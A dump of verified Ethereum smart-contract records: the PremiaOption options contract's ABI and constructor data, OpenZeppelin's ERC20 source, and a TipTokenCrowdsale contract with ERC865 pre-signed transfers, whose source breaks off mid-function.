,{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawPreExpirationFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"strikePrice","type":"uint256"},{"internalType":"uint256","name":"expiration","type":"uint256"},{"internalType":"bool","name":"isCall","type":"bool"}],"internalType":"struct PremiaOption.OptionWriteArgs","name":"_option","type":"tuple"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"writeOption","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"components":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"strikePrice","type":"uint256"},{"internalType":"uint256","name":"expiration","type":"uint256"},{"internalType":"bool","name":"isCall","type":"bool"}],"internalType":"struct PremiaOption.OptionWriteArgs","name":"_option","type":"tuple"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"writeOptionFrom","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"writeOptionWithIdFrom","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"}]

v0.7.6+commit.7338295f

00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000006b175474e89094c44da98b954eedeac495271d0f0000000000000000000000008406c6c1db4d224c8b0cf7859c0881ddd68d4761000000000000000000000000602b50091b0b351ca179e87ad6e006aeceb2a6ad000000000000000000000000afcf4ca5826ed76189ea227bd863916abf43a6da000000000000000000000000c22fae86443aeed038a4ed887bba8f5035fd12f0000000000000000000000000000000000000000000000000000000000000002868747470733a2f2f7072656d69612e66696e616e63652f6170692f6461692f7b69647d2e6a736f6e000000000000000000000000000000000000000000000000

Default

PremiaOption

@openzeppelin/contracts/token/ERC20/ERC20.sol

0x5920cb60b1c62dc69467bf7c6edfcfb3f98548c0

Solidity

// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }

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IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"denominatorDecimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"exerciseOption","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"exerciseOptionFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeCalculator","outputs":[{"internalType":"contract IFeeCalculator","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeRecipient","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"},{"internalType":"contract IUniswapV2Router02","name":"_router","type":"address"},{"internalType":"uint256","name":"_amountInMax","type":"uint256"},{"internalType":"address[]","name":"_path","type":"address[]"}],"name":"flashExerciseOption","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"},{"internalType":"contract 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IFlashLoanReceiver","name":"_receiver","type":"address"}],"name":"flashLoan","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"components":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"strikePrice","type":"uint256"},{"internalType":"uint256","name":"expiration","type":"uint256"},{"internalType":"bool","name":"isCall","type":"bool"},{"internalType":"uint256","name":"claimsPreExp","type":"uint256"},{"internalType":"uint256","name":"claimsPostExp","type":"uint256"},{"internalType":"uint256","name":"exercised","type":"uint256"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"uint8","name":"decimals","type":"uint8"}],"internalType":"struct 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PremiaOption.QuoteExercise","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"_expiration","type":"uint256"},{"internalType":"uint256","name":"_strikePrice","type":"uint256"},{"internalType":"bool","name":"_isCall","type":"bool"}],"name":"getOptionId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"_expiration","type":"uint256"},{"internalType":"uint256","name":"_strikePrice","type":"uint256"},{"internalType":"bool","name":"_isCall","type":"bool"}],"name":"getOptionIdOrCreate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"components":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"strikePrice","type":"uint256"},{"internalType":"uint256","name":"expiration","type":"uint256"},{"internalType":"bool","name":"isCall","type":"bool"}],"internalType":"struct PremiaOption.OptionWriteArgs","name":"_option","type":"tuple"},{"internalType":"address","name":"_referrer","type":"address"},{"internalType":"uint8","name":"_decimals","type":"uint8"}],"name":"getWriteQuote","outputs":[{"components":[{"internalType":"address","name":"collateralToken","type":"address"},{"internalType":"uint256","name":"collateral","type":"uint256"},{"internalType":"uint8","name":"collateralDecimals","type":"uint8"},{"internalType":"uint256","name":"fee","type":"uint256"},{"internalType":"uint256","name":"feeReferrer","type":"uint256"}],"internalType":"struct PremiaOption.QuoteWrite","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxExpiration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"nbWritten","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextOptionId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"optionData","outputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"strikePrice","type":"uint256"},{"internalType":"uint256","name":"expiration","type":"uint256"},{"internalType":"bool","name":"isCall","type":"bool"},{"internalType":"uint256","name":"claimsPreExp","type":"uint256"},{"internalType":"uint256","name":"claimsPostExp","type":"uint256"},{"internalType":"uint256","name":"exercised","type":"uint256"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"uint8","name":"decimals","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"bool","name":"","type":"bool"}],"name":"options","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"pools","outputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"denominatorAmount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"premiaReferral","outputs":[{"internalType":"contract IPremiaReferral","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256[]","name":"ids","type":"uint256[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeBatchTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IFeeCalculator","name":"_feeCalculator","type":"address"}],"name":"setFeeCalculator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeRecipient","type":"address"}],"name":"setFeeRecipient","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_max","type":"uint256"}],"name":"setMaxExpiration","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IPremiaReferral","name":"_premiaReferral","type":"address"}],"name":"setPremiaReferral","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IPremiaUncutErc20","name":"_uPremia","type":"address"}],"name":"setPremiaUncutErc20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_tokens","type":"address[]"},{"internalType":"uint256[]","name":"_strikePriceIncrement","type":"uint256[]"}],"name":"setTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newUri","type":"string"}],"name":"setURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addrList","type":"address[]"}],"name":"setWhitelistedUniswapRouters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokenStrikeIncrement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokens","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uPremia","outputs":[{"internalType":"contract IPremiaUncutErc20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"whitelistedUniswapRouters","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_optionId","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"}],"name":"withdrawFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawPreExpiration","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawPreExpirationFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"strikePrice","type":"uint256"},{"internalType":"uint256","name":"expiration","type":"uint256"},{"internalType":"bool","name":"isCall","type":"bool"}],"internalType":"struct PremiaOption.OptionWriteArgs","name":"_option","type":"tuple"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"writeOption","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"components":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"strikePrice","type":"uint256"},{"internalType":"uint256","name":"expiration","type":"uint256"},{"internalType":"bool","name":"isCall","type":"bool"}],"internalType":"struct PremiaOption.OptionWriteArgs","name":"_option","type":"tuple"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"writeOptionFrom","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_optionId","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"}],"name":"writeOptionWithIdFrom","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"}]

v0.7.6+commit.7338295f

00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000006b175474e89094c44da98b954eedeac495271d0f0000000000000000000000008406c6c1db4d224c8b0cf7859c0881ddd68d4761000000000000000000000000602b50091b0b351ca179e87ad6e006aeceb2a6ad000000000000000000000000afcf4ca5826ed76189ea227bd863916abf43a6da000000000000000000000000c22fae86443aeed038a4ed887bba8f5035fd12f0000000000000000000000000000000000000000000000000000000000000002868747470733a2f2f7072656d69612e66696e616e63652f6170692f6461692f7b69647d2e6a736f6e000000000000000000000000000000000000000000000000

Default

TipTokenCrowdsale

TipTokenCrowdsale.sol

0x4ef06d3e57ff3a3580d029a3d4d4bd58d10c46ac

Solidity

pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Administratable is Ownable { mapping (address => bool) admins; event AdminAdded(address indexed _admin); event AdminRemoved(address indexed _admin); modifier onlyAdmin() { require(admins[msg.sender]); _; } function addAdmin(address _addressToAdd) external onlyOwner { require(_addressToAdd != address(0)); admins[_addressToAdd] = true; emit AdminAdded(_addressToAdd); } function removeAdmin(address _addressToRemove) external onlyOwner { require(_addressToRemove != address(0)); admins[_addressToRemove] = false; emit AdminRemoved(_addressToRemove); } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract ERC20 { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ERC865 is ERC20 { function transferPreSigned( bytes _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public returns (bool); function approvePreSigned( bytes _signature, address _spender, uint256 _value, uint256 _fee, uint256 _nonce ) public returns (bool); function increaseApprovalPreSigned( bytes _signature, address _spender, uint256 _addedValue, uint256 _fee, uint256 _nonce ) public returns (bool); function decreaseApprovalPreSigned( bytes _signature, address _spender, uint256 _subtractedValue, uint256 _fee, uint256 _nonce ) public returns (bool); function transferFromPreSigned( bytes _signature, address _from, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public returns (bool); function revokeSignature(bytes _signature) public returns (bool); } contract StandardToken is ERC20 { using SafeMath for uint256; mapping (address => mapping (address => uint256)) internal allowed; mapping(address => uint256) public balances; uint256 _totalSupply; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ERC865Token is ERC865, StandardToken { /* Nonces of transfers performed */ mapping(bytes => bool) nonces; event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee); event ApprovalPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee); event SignatureRevoked(bytes signature, address indexed from); /** * @notice Submit a presigned transfer * @param _signature bytes The signature, issued by the owner. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */ function transferPreSigned( bytes _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public returns (bool) { require(_to != address(0)); require(!nonces[_signature]); bytes32 hashedTx = transferPreSignedHashing(address(this), _to, _value, _fee, _nonce); address from = recover(hashedTx, _signature); require(from != address(0)); nonces[_signature] = true; balances[from] = balances[from].sub(_value).sub(_fee); balances[_to] = balances[_to].add(_value); balances[msg.sender] = balances[msg.sender].add(_fee); emit Transfer(from, _to, _value); emit Transfer(from, msg.sender, _fee); emit TransferPreSigned(from, _to, msg.sender, _value, _fee); return true; } /** * @notice Submit a presigned approval * @param _signature bytes The signature, issued by the owner. * @param _spender address The address which will spend the funds. * @param _value uint256 The amount of tokens to allow. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */ function approvePreSigned( bytes _signature, address _spender, uint256 _value, uint256 _fee, uint256 _nonce ) public returns (bool) { require(_spender != address(0)); require(!nonces[_signature]); bytes32 hashedTx = approvePreSignedHashing(address(this), _spender, _value, _fee, _nonce); address from = recover(hashedTx, _signature); require(from != address(0)); nonces[_signature] = true; allowed[from][_spender] = _value; balances[from] = balances[from].sub(_fee); balances[msg.sender] = balances[msg.sender].add(_fee); emit Approval(from, _spender, _value); emit Transfer(from, msg.sender, _fee); emit ApprovalPreSigned(from, _spender, msg.sender, _value, _fee); return true; } /** * @notice Increase the amount of tokens that an owner allowed to a spender. * @param _signature bytes The signature, issued by the owner. * @param _spender address The address which will spend the funds. * @param _addedValue uint256 The amount of tokens to increase the allowance by. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */ function increaseApprovalPreSigned( bytes _signature, address _spender, uint256 